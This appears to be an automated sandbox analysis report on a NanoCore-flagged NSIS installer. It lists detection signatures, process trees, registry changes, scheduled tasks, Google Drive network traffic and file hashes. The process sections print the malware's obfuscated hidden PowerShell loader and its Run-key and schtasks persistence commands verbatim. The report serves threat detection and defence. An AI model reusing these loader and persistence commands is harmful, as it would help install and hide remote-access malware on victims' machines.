Analysis Overview
SHA256
01084cac1b32ed96f39659685faaf1f37cfaee0d204a361c3759c3ff0aa38389
Threat Level: Known bad
The file 2b0539ba691f98b1c255d082d7589570_NeikiAnalytics.exe was found to be: Known bad.
Malicious Activity Summary
NanoCore
Command and Scripting Interpreter: PowerShell
Legitimate hosting services abused for malware hosting/C2
Adds Run key to start application
Suspicious use of NtSetInformationThreadHideFromDebugger
Suspicious use of SetThreadContext
Suspicious use of NtCreateThreadExHideFromDebugger
Drops file in Program Files directory
Drops file in Windows directory
Enumerates physical storage devices
Program crash
NSIS installer
Creates scheduled task(s)
Modifies registry key
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: MapViewOfSection
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK Matrix V13
Analysis: static1
Detonation Overview
Reported
2024-05-17 20:22
Signatures
NSIS installer
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-05-17 20:22
Reported
2024-05-17 20:24
Platform
win7-20240508-en
Max time kernel
117s
Max time network
118s
Command Line
Signatures
NanoCore
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Windows\CurrentVersion\Run\Fremfrings = "%Taletiden% -windowstyle minimized $Typecasts=(Get-ItemProperty -Path 'HKCU:\\Crepidoma\\').Fozinesses;%Taletiden% ($Typecasts)" | C:\Windows\SysWOW64\reg.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\NTFS Monitor = "C:\\Program Files (x86)\\NTFS Monitor\\ntfsmon.exe" | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1648 set thread context of 2068 | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\windows mail\wab.exe |
Drops file in Program Files directory
| Description | Indicator | Process | Target |
| File created | C:\Program Files (x86)\NTFS Monitor\ntfsmon.exe | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| File opened for modification | C:\Program Files (x86)\NTFS Monitor\ntfsmon.exe | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\Vulnerabilities\Navettes131.ini | C:\Users\Admin\AppData\Local\Temp\2b0539ba691f98b1c255d082d7589570_NeikiAnalytics.exe | N/A |
| File opened for modification | C:\Windows\resources\0409\sporeforming.bal | C:\Users\Admin\AppData\Local\Temp\2b0539ba691f98b1c255d082d7589570_NeikiAnalytics.exe | N/A |
| File opened for modification | C:\Windows\resources\stereotypery.teu | C:\Users\Admin\AppData\Local\Temp\2b0539ba691f98b1c255d082d7589570_NeikiAnalytics.exe | N/A |
Enumerates physical storage devices
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
Modifies registry key
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\reg.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\2b0539ba691f98b1c255d082d7589570_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\2b0539ba691f98b1c255d082d7589570_NeikiAnalytics.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Afspadserede225=Get-Content 'C:\Users\Admin\AppData\Local\Temp\Mediatrices238\udkikstaarnene\deflationer\Elverhj\Forskrivende.Udr';$Novelettish=$Afspadserede225.SubString(53200,3);.$Novelettish($Afspadserede225)"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fremfrings" /t REG_EXPAND_SZ /d "%Taletiden% -windowstyle minimized $Typecasts=(Get-ItemProperty -Path 'HKCU:\Crepidoma\').Fozinesses;%Taletiden% ($Typecasts)"
C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fremfrings" /t REG_EXPAND_SZ /d "%Taletiden% -windowstyle minimized $Typecasts=(Get-ItemProperty -Path 'HKCU:\Crepidoma\').Fozinesses;%Taletiden% ($Typecasts)"
C:\Windows\SysWOW64\schtasks.exe
"schtasks.exe" /create /f /tn "NTFS Monitor" /xml "C:\Users\Admin\AppData\Local\Temp\tmp99A3.tmp"
C:\Windows\SysWOW64\schtasks.exe
"schtasks.exe" /create /f /tn "NTFS Monitor Task" /xml "C:\Users\Admin\AppData\Local\Temp\tmp9A20.tmp"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | drive.google.com | udp |
| GB | 142.250.187.238:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | drive.usercontent.google.com | udp |
| GB | 142.250.179.225:443 | drive.usercontent.google.com | tcp |
Files
memory/1648-9-0x0000000074201000-0x0000000074202000-memory.dmp
memory/1648-13-0x0000000074200000-0x00000000747AB000-memory.dmp
memory/1648-12-0x0000000074200000-0x00000000747AB000-memory.dmp
memory/1648-11-0x0000000074200000-0x00000000747AB000-memory.dmp
memory/1648-10-0x0000000074200000-0x00000000747AB000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\Mediatrices238\udkikstaarnene\deflationer\Elverhj\Forskrivende.Udr
| MD5 | 6b3ce49e30626debe4ebc638e79bfbc1 |
| SHA1 | f0941c7b2694735091249b1676e4ba7693e6ede9 |
| SHA256 | bebd427c3ece459de5fc091d4573f313ba55bf68bdad2dbaf9f8ec5637b4990e |
| SHA512 | d1bd3fb17897cba3fa4e9bde3b7bc7b73c88edb72cb47bc439b866c45f77ae85d01c6d9941ebc574ef660c33395b804a441bf9cef370b0c5dedbd3a1ac604e5d |
C:\Users\Admin\AppData\Local\Temp\Mediatrices238\udkikstaarnene\deflationer\Milieugifts.Koa
| MD5 | c1db703a47e0df7927aed1ab569b7ba7 |
| SHA1 | 9b13decd58b8c434974ec24141b29e07ad008297 |
| SHA256 | 7956dcaf28392b383184aec8e81c6c2f0b8d6c12fb889360c1a8f51a85912fb5 |
| SHA512 | b920cb5d9663eb3372a2c112b439dd83deb438d432b61bec63e697ae66d2131f169d18592e9e8c5213ee3f591bad8fa1b724915cd4f01d0d45c79070ae6d7977 |
memory/1648-17-0x0000000006790000-0x000000000B171000-memory.dmp
memory/1648-18-0x0000000074200000-0x00000000747AB000-memory.dmp
memory/2068-19-0x0000000000660000-0x00000000016C2000-memory.dmp
memory/2068-42-0x0000000000660000-0x00000000016C2000-memory.dmp
memory/2068-44-0x0000000000660000-0x000000000069A000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\tmp99A3.tmp
| MD5 | 5ccc18c3f1852b87de26278cba055c13 |
| SHA1 | 9233db8c004ac3e1b34c0782bac706a17bdc43ae |
| SHA256 | 7d588a9e361cccb0a3c97ec7ac99efe60e82932c64ab6efbfc929f51acb38432 |
| SHA512 | 1ad0e9d090e93bdfa76c7ff60c5492c43265f53adf0ac23a7c831231e12822b11bae6d0840f92c8deddc9e08dbb383d24073ece791feaf36687692a437294ed7 |
C:\Users\Admin\AppData\Local\Temp\tmp9A20.tmp
| MD5 | 981e126601526eaa5b0ad45c496c4465 |
| SHA1 | d610d6a21a8420cc73fcd3e54ddae75a5897b28b |
| SHA256 | 11ae277dfa39e7038b782ca6557339e7fe88533fe83705c356a1500a1402d527 |
| SHA512 | a59fb704d931ccb7e1ec1a7b98e24ccd8708be529066c6de4b673098cdebef539f7f50d9e051c43954b5a8e7f810862b3a4ede170f131e080dadc3e763ed4bdb |
memory/2068-52-0x00000000215C0000-0x00000000215CA000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-05-17 20:22
Reported
2024-05-17 20:24
Platform
win10v2004-20240426-en
Max time kernel
150s
Max time network
152s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\Vulnerabilities\Navettes131.ini | C:\Users\Admin\AppData\Local\Temp\2b0539ba691f98b1c255d082d7589570_NeikiAnalytics.exe | N/A |
| File opened for modification | C:\Windows\resources\0409\sporeforming.bal | C:\Users\Admin\AppData\Local\Temp\2b0539ba691f98b1c255d082d7589570_NeikiAnalytics.exe | N/A |
| File opened for modification | C:\Windows\resources\stereotypery.teu | C:\Users\Admin\AppData\Local\Temp\2b0539ba691f98b1c255d082d7589570_NeikiAnalytics.exe | N/A |
Enumerates physical storage devices
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1344 wrote to memory of 2208 | N/A | C:\Users\Admin\AppData\Local\Temp\2b0539ba691f98b1c255d082d7589570_NeikiAnalytics.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 1344 wrote to memory of 2208 | N/A | C:\Users\Admin\AppData\Local\Temp\2b0539ba691f98b1c255d082d7589570_NeikiAnalytics.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 1344 wrote to memory of 2208 | N/A | C:\Users\Admin\AppData\Local\Temp\2b0539ba691f98b1c255d082d7589570_NeikiAnalytics.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2208 wrote to memory of 2080 | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\SysWOW64\cmd.exe |
| PID 2208 wrote to memory of 2080 | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\SysWOW64\cmd.exe |
| PID 2208 wrote to memory of 2080 | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\SysWOW64\cmd.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\2b0539ba691f98b1c255d082d7589570_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\2b0539ba691f98b1c255d082d7589570_NeikiAnalytics.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Afspadserede225=Get-Content 'C:\Users\Admin\AppData\Local\Temp\Mediatrices238\udkikstaarnene\deflationer\Elverhj\Forskrivende.Udr';$Novelettish=$Afspadserede225.SubString(53200,3);.$Novelettish($Afspadserede225)"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 2208 -ip 2208
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2208 -s 2548
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 77.190.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 67.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.237:443 | g.bing.com | tcp |
| NL | 23.62.61.194:443 | www.bing.com | tcp |
| US | 8.8.8.8:53 | 237.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 194.61.62.23.in-addr.arpa | udp |
| NL | 23.62.61.194:443 | www.bing.com | tcp |
| US | 8.8.8.8:53 | 55.36.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.165.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 79.190.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 52.111.227.11:443 | tcp | |
| US | 8.8.8.8:53 | 43.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 226.162.46.104.in-addr.arpa | udp |
Files
memory/2208-7-0x00000000737CE000-0x00000000737CF000-memory.dmp
memory/2208-8-0x00000000029D0000-0x0000000002A06000-memory.dmp
memory/2208-10-0x00000000737C0000-0x0000000073F70000-memory.dmp
memory/2208-9-0x0000000005260000-0x0000000005888000-memory.dmp
memory/2208-11-0x0000000005010000-0x0000000005032000-memory.dmp
memory/2208-12-0x0000000005900000-0x0000000005966000-memory.dmp
memory/2208-14-0x0000000005970000-0x00000000059D6000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ljnm0o24.dou.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2208-13-0x00000000737C0000-0x0000000073F70000-memory.dmp
memory/2208-24-0x00000000059E0000-0x0000000005D34000-memory.dmp
memory/2208-25-0x0000000005FC0000-0x0000000005FDE000-memory.dmp
memory/2208-26-0x0000000006000000-0x000000000604C000-memory.dmp
memory/2208-28-0x0000000006500000-0x000000000651A000-memory.dmp
memory/2208-27-0x0000000006540000-0x00000000065D6000-memory.dmp
memory/2208-29-0x0000000006FB0000-0x0000000006FD2000-memory.dmp
memory/2208-30-0x0000000007590000-0x0000000007B34000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\Mediatrices238\udkikstaarnene\deflationer\Elverhj\Forskrivende.Udr
| MD5 | 6b3ce49e30626debe4ebc638e79bfbc1 |
| SHA1 | f0941c7b2694735091249b1676e4ba7693e6ede9 |
| SHA256 | bebd427c3ece459de5fc091d4573f313ba55bf68bdad2dbaf9f8ec5637b4990e |
| SHA512 | d1bd3fb17897cba3fa4e9bde3b7bc7b73c88edb72cb47bc439b866c45f77ae85d01c6d9941ebc574ef660c33395b804a441bf9cef370b0c5dedbd3a1ac604e5d |
memory/2208-32-0x00000000081C0000-0x000000000883A000-memory.dmp
memory/2208-34-0x00000000737C0000-0x0000000073F70000-memory.dmp